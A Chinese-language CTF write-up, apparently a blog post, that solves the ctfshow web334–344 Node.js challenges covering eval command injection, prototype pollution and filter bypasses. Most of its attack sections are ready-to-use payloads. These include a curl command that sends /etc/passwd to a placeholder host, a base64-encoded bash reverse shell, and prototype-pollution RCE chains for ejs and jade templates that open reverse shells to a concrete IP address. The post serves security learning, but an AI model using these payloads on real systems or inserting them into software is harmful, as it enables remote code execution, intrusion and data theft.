一些漏洞:

危险函数所导致的命令执行

eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

简单例子:

main.js

var express = require("express");
var app = express();app.get('/eval',function(req,res){res.send(eval(req.query.q));//通过res.send()方法,可以把处理好的内容,发送给客户端:console.log(req.query.q);
})var server = app.listen(8888, function() {console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html

漏洞利用:

Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。

弹计算器(windows):

/eval?q=require('child_process').exec('calc');

读取文件(linux):

/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;

反弹shell(linux):

/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。

bash解释器:

(164条消息) 几种常见shell解释器(sh,bash,csh,tcsh,ash)以及bash的优点_难得 yx的博客-CSDN博客_sh解释器

类似命令
间隔两秒执行函数:

setInteval(some_function, 2000)

两秒后执行函数:

setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

输出HelloWorld:

Function(“console.log(‘HelloWolrd’)”){}

类似于php中的create_function

以上都可以导致命令执行

web335

/?eval=require('child_process').execSync('ls')
/?eval=require('child_process').execSync('cat fl00g.txt')

Node.js 原型污染漏洞

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

1.prototype与 __ proto __

原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。

  1. prototype是一个的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象__proto__属性,指向这个对象所在的类的prototype属性
  • 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

2.JavaScript原型链继承

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

3.原型链污染是什么

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

4.原型链污染原理

对于语句:

object[a][b] = value

如果可以控制a、b、value的值,将a设置为__ proto __,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

来看一个简单的例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。

5.哪些情况下原型链会被污染?

merge(合并)操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

原型链没有被污染

但改代码:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

object3的b是从原型中获取到的,说明Object已经被污染了。

web338

{"__proto__":{"ctfshow":"36dboy"}}

javascript大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、“ſ” 经过toUpperCase处理后结果为 “I”、“S”
对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过

ctfshow

user.js中发现了账号密码

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

ctfſhow

toUpperCase()是把字符串转小写,因此用小写绕过即可。

ctfſhow

web334

var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};

toUpperCase()是把字符串转小写,所以用小写绕过

web335

f12看到/?eval=,猜测是eval()函数,查了一下,可以利用child_process的exec来执行系统命令。

/?eval=require('child_process').execSync('ls')

/?eval=require('child_process').execSync('cat fl00g.txt')

web336

法一:

补充:

__filename
__dirname

__filename:返回当前模块文件被解析过后的绝对路径,
使用__filename变量获取当前模块文件的带有完整绝对路径的文件名
__dirname:返回当前模块文件解析过后所在的文件夹(目录)的绝对路径
使用__dirname变量获得当前文件所在目录的完整目录名

所以可以利用__filename来获得当然的模块文件路径:

然后读取文件:

/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

发现过滤了exec和load。

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()

再打开文件获取flag

?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

法二:

利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

web337

源码:

var express = require('express');
var router = express.Router();function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

注意一下node.js中拼接的问题:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

所以:像['a']+flag==='a'+flag这样的,比如flag是flag{345},那么最后得到的都是aflag[345},因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag),同时也满足a!==b

?a[a]=1&b[b]=1

web338

原型链污染

重点代码:

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }
});

主要是utils.copy(user,req.body);是利用点

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

payload:

{"__proto__":{"ctfshow":"36dboy"}}

抓包传参;

web339

在api.js中:

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。

先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

刷新了靶机,再用反弹shell的值覆盖:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}

反弹成功:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0tCwbS7z-1652529599223)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220513164327860.png)]

flag在./routes/login.js里:

web340

login.js部分代码:

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }

user对象套了两层,可以运行如下代码理解一下原理:

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}payload = JSON.parse('{"__proto__":{"__proto__":{"query":true}}}')
copy(user.userinfo,payload)console.log('payload:')
console.log(payload) // { ['__proto__']: { ['__proto__']: { query: true } } }console.log('Object:')
console.log(user.query) // true
console.log(user.userinfo.query) // true

可以看到,当我们嵌套两层__proto__时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为:

JSON.parse('{"__proto__":{"query":true}}')

时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

弹出shell

web341

用的是web339的paylo不过要和web340一样嵌套一下。payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"。

几个node模板引擎的原型链污染分析

web343

同web342

bodyParser.json(options)
中间件只会解析 json

web344

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';console.log(req.url)if(req.url.match(/8c|2c|\,/ig)){res.end('111where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('222where is flag. :)');}});

过滤了逗号和逗号的url编码2C,“&”连接三个属性,NodeJS会自动拼接:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但还需要对属性进行url编码,payload:

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。

ctfshow--node.js漏洞相关推荐

  1. ctfshow—Node.js漏洞总结

    1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...

  2. node/js 漏洞_6个可用于检查Node.js中漏洞的工具

    node/js 漏洞 Vulnerabilities can exist in all products. The larger your software grows, the greater th ...

  3. ctfshow node.js专题

    文章目录 web334 web335 web336 web337 web338 web339 web340 web341 web342.web343 web334 给了附件,然后进入后发现是一个登录框 ...

  4. 知名Node.js组件存在代码注入漏洞

    喜欢就关注我们吧! 日前,一个被大量下载的 Node.js 组件被发现其含有一个高危的代码注入漏洞. 该漏洞被追踪为 CVE-2021-21315,影响了「systeminformation」npm ...

  5. node.js mysql防注入_避免Node.js中的命令行注入安全漏洞

    在这篇文章中,我们将学习正确使用Node.js调用系统命令的方法,以避免常见的命令行注入漏洞. 我们经常使用的调用命令的方法是最简单的child_process.exec.它有很一个简单的使用模式;通 ...

  6. Node.js 修复4个漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Node.js 开发人员发布新版本,修复了四个漏洞. Node.js 是用于构建可扩展网络应用程序的流行 JavaScript 运行时环境.在这 ...

  7. Node.js TLSWrap 实现中的释放后使用漏洞分析

     聚焦源代码安全,网罗国内外最新资讯! Node v14.11.0 版本的 TLS 实现中存在一个释放后使用漏洞. 当写入启用 TLS 的套接字时,node::StreamBase::Write 调用 ...

  8. GitHub 在热门 Node.js changelog 开源库Standard Version中发现 RCE 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 上周,GitHub 安全实验室的研究员 Erik Krogh Kristensen 在 StandardVersion 中发现一个漏洞 ...

  9. 2019 年,19 种方法让自己成为更好的 Node.js 工程师

    原文作者:Yoni Goldberg 译者:UC 国际研发 Jothy 写在最前:欢迎你来到"UC国际技术"公众号,我们将为大家提供与客户端.服务端.算法.测试.数据.前端等相关的 ...

最新文章

  1. 微信公众号token 验证
  2. 通知:正式迁移至新博客
  3. Bootstrap 简洁、直观、强悍、移动设备优先的前端开发框架,让web开发更迅速、简单。...
  4. outlook邮箱邮件大小限制_配置邮箱的邮件大小限制: Exchange 2013 帮助 | Microsoft Docs...
  5. React Native实现js调用安卓原生代码
  6. workbench出现“Unable to start the geometry editor”
  7. 在AX4.0中使用C#脚本的实现
  8. 热点账户高并发解决方案
  9. 单词吸血鬼源代码 二叉树操作
  10. iOS 关于接入海康视频SDK的步骤
  11. java 错误声音播放器_JavaME 声音播放器的使用
  12. Unity3D 中实现毛笔效果
  13. 237. 删除链表中的节点 (Delete Node in a Linked List)
  14. 电信近期有充值送红包的活动
  15. 尚医通项目150-170:预约挂号、微信支付功能
  16. 李开复微博数据分析--微博爬虫、数据挖掘、数据可视化(持续更新)
  17. 深度理解RNN的梯度消失和LSTM为什么能解决梯度消失
  18. 一次Linux系统被攻击的分析过程
  19. 《血族-迷失乐园篇》1、2初回限定…
  20. 【头歌】重生之我在py入门实训中(3): if条件语句

热门文章

  1. 自适应均衡器的研究与仿真设计
  2. Bert 论文中文翻译
  3. c++中fabs()和abs()的区别
  4. 抽象类和接口之间的关系
  5. ASTER GDEM V02(30m)、ASTER GDEM V03(30m)、TanDEM(90m)三种全球DEM数据的质量对比
  6. sqlserver函数多行数据合并成一行
  7. java二维数组添加数据_Java自学路线图
  8. MATLAB中CVX工具箱解决凸优化问题的基本知识——语法、变量声明、目标函数、约束条件、cvx编程错误及解决方法
  9. 软件测试工程师华为面经
  10. python工作任务流flow实时框架:prefect